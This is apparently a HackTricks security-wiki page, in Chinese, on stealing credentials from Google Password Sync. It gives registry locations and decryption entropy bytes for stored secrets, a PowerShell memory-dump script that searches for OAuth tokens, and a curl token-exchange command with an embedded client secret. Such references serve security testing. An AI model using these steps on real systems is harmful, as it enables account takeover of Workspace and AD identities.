GPS - Google Password Sync

Support HackTricks

基本信息

这是谷歌提供的二进制文件和服务,用于保持用户在AD和Workspace之间的密码同步。每当用户在AD中更改密码时,它会被设置到谷歌。

它安装在C:\Program Files\Google\Password Sync,您可以在此找到用于配置的二进制文件PasswordSync.exe和继续运行的服务password_sync_service.exe

GPS - 配置

要配置此二进制文件(和服务),需要授予其对Workspace中超级管理员主体的访问权限

  • 通过OAuth登录谷歌,然后它会在注册表中存储一个令牌(加密)

  • 仅在具有GUI的域控制器上可用

  • 提供一些具有管理Workspace用户权限的GCP的服务账户凭据(json文件)

  • 非常糟糕的主意,因为这些凭据永远不会过期,可能会被滥用

  • 非常糟糕的主意是给予SA对workspace的访问权限,因为SA可能在GCP中被攻破,并且可能会转向Workspace

  • 谷歌要求在没有GUI的域控制中使用它

  • 这些凭据也存储在注册表中

关于AD,可以指示它使用当前的应用程序上下文、匿名或某些特定凭据。如果选择凭据选项,用户名将存储在磁盘中的一个文件内,密码加密并存储在注册表中。

GPS - 从磁盘转储密码和令牌

请注意,Winpeas能够检测GPS,获取有关配置的信息,甚至解密密码和令牌

在文件**C:\ProgramData\Google\Google Apps Password Sync\config.xml中,可以找到部分配置,例如配置的AD的baseDN和正在使用的username**。

在注册表**HKLM\Software\Google\Google Apps Password Sync中,可以找到加密的刷新令牌和AD用户的加密密码**(如果有)。此外,如果使用的是某些SA凭据而不是令牌,也可以在该注册表地址中找到这些加密的凭据。此注册表中的仅对管理员可访问。

加密的密码(如果有)位于键**ADPassword中,并使用CryptProtectData** API进行加密。要解密它,您需要是配置密码同步的同一用户,并在使用**CryptUnprotectData时使用此熵**:byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };

加密的令牌(如果有)位于键**AuthToken中,并使用CryptProtectData** API进行加密。要解密它,您需要是配置密码同步的同一用户,并在使用**CryptUnprotectData时使用此熵**:byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b }; 此外,它还使用字典**0123456789abcdefghijklmnopqrstv**进行base32hex编码。

熵值是通过使用该工具找到的。它被配置为监控对**CryptUnprotectDataCryptProtectData的调用,然后该工具被用来启动和监控PasswordSync.exe,该工具将在开始时解密配置的密码和身份验证令牌,并显示用于两种情况的熵值**:

请注意,也可以在这些API调用的输入或输出中查看解密值(以防某个时刻Winpeas停止工作)。

如果密码同步是使用SA凭据配置的,它也将存储在注册表**HKLM\Software\Google\Google Apps Password Sync**中的键内。

GPS - 从内存转储令牌

就像GCPW一样,可以转储PasswordSync.exepassword_sync_service.exe进程的内存,您将能够找到刷新和访问令牌(如果它们已经生成)。 我想您也可以找到配置的AD凭据。

转储 PasswordSync.exepassword_sync_service.exe 进程并搜索令牌

```powershell # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" $dumpFolder = "C:\Users\Public\dumps"

Regular expressions for tokens

$tokenRegexes = @( "ya29.[a-zA-Z0-9_.-]{50,}", "1//[a-zA-Z0-9_.-]{50,}" )

Show EULA if it wasn't accepted yet for strings

$stringsPath

Create a directory for the dumps if it doesn't exist

if (!(Test-Path $dumpFolder)) { New-Item -Path $dumpFolder -ItemType Directory }

Get all Chrome process IDs

$processNames = @("PasswordSync", "password_sync_service") $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id

Dump each Chrome process

foreach ($processId in $chromeProcesses) { Write-Output "Dumping process with PID: $processId" & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp" }

Extract strings and search for tokens in each dump

Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object { $dumpFile = $.FullName $baseName = $.BaseName $asciiStringsFile = "$dumpFolder${baseName}_ascii_strings.txt" $unicodeStringsFile = "$dumpFolder${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile" & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) { foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) { foreach ($match in $matchInfo.Matches) { $matchValue = $match.Value if (-not $uniqueMatches.ContainsKey($matchValue)) { $uniqueMatches[$matchValue] = @{ LineNumber = $matchInfo.LineNumber LineText = $matchInfo.Line.Trim() FilePath = $matchInfo.Path } } } }

foreach ($matchValue in $uniqueMatches.Keys) { $info = $uniqueMatches[$matchValue] Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" } }

Write-Output "" } }

</details>

### GPS - 从刷新令牌生成访问令牌

使用刷新令牌,可以使用它以及以下命令中指定的客户端ID和客户端密钥生成访问令牌:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token

GPS - Scopes

请注意,即使拥有刷新令牌,也无法请求访问令牌的任何范围,因为您只能请求由生成访问令牌的应用程序支持的范围

此外,刷新令牌在每个应用程序中都无效。

默认情况下,GPS不会以用户身份访问所有可能的OAuth范围,因此我们可以使用以下脚本找到可以与refresh_token一起使用以生成access_token的范围:

Last updated